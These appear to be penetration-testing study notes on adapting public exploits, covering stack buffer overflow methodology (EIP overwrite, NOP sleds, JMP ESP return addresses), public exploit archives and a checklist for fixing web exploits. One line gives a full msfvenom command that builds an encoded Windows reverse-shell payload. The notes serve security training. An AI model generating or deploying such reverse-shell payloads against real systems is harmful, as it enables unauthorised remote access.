**Fixing Memory Corruption Exploits Overview and considerations :**

* **Create a large buffer to trigger the overflow**
* **Take control of EIP by overwriting a return address on the stack by padding the large buffer with an appropriate offset.**
* **Include a chosen payload in the buffer prepended by an optional NOP sled.**
* **Choose a correct return address instruction such as JMP ESP (or different register) in order to redirect the execution flow into our payload**
* **Additionally, as we fix the exploit, depending on the nature of the vulnerability, we may need to modify elements of the deployed buffer to suit our target such as file paths, IP addresses and ports, URLs, etc.**
* **If these modifications alter our offset, we must adjust the buffer length to ensure we overwrite the return address with the desired bytes.**
* **Although we could trust that the return address used in the exploit is correct, the more responsible alternative is to find the return address ourselves, especially if the one used is not part of the vulnerable application or its DLLs.**

**Locating Public Exploits :**

* **The Exploit Database**
* **SecurityFocus Exploit Archives**
* **Packet Storm**

**Changing the Return Address :**

* **The first, and most recommended option, is to recreate the target environment locally and use a debugger to determine this address. This is the process we used when we developed the original exploit.**
* **if we needed a return address for a JMP ESP instruction on Windows Server 2003 SP2, we could look for it in public exploits leveraging different vulnerabilities targeting that operating system. This method is less reliable and can vary widely depending on the protections the operating system has installed.**
* **If we have access to our target as an unprivileged user and want to run an exploit that will elevate our privileges, we can copy the DLLs that we are interested into our attack machine and use various tools such as disassemblers or even msfpescan384 from the Metasploit Framework to obtain a reliable return address.**

**Changing the Payload :**

* **If the shellcode start with 0x90 then that means that Nops Slide is used.**
* **msfvenom -p windows/shell\_reverse\_tcp LHOST=IP LPORT=PORT EXITFUNC= thread -f c –e x86/shikata\_ga\_nai -b "<find-bad-chars-using-debugger>"**

**Changing the Overflow Buffer :**

* [**http://www.cplusplus.com/reference/cstdlib/malloc/**](http://www.cplusplus.com/reference/cstdlib/malloc/)
* [**http://www.cplusplus.com/reference/cstring/memset/**](http://www.cplusplus.com/reference/cstring/memset/)
* [**http://www.cplusplus.com/reference/cstring/strcpy/**](http://www.cplusplus.com/reference/cstring/strcpy/)
* [**http://www.cplusplus.com/reference/cstring/strcat/**](http://www.cplusplus.com/reference/cstring/strcat/)

**FIXING WEB EXPLOITS :**

* **Does it initiate an HTTP or HTTPS connection**
* **Does it access a web application specific path or route**
* **Does the exploit leverage a pre-authentication vulnerability**
* **If not, how does the exploit authenticate to the web application**
* **How are the GET or POST requests crafted to trigger and exploit the vulnerability**
* **Does it rely on default application settings (such as the web path of the application) that may have been changed after installation**
* **Will oddities such as self-signed certificates disrupt the exploit**
* **In addition, we must remember that public web application exploits do not take into account additional protections such as .htacces**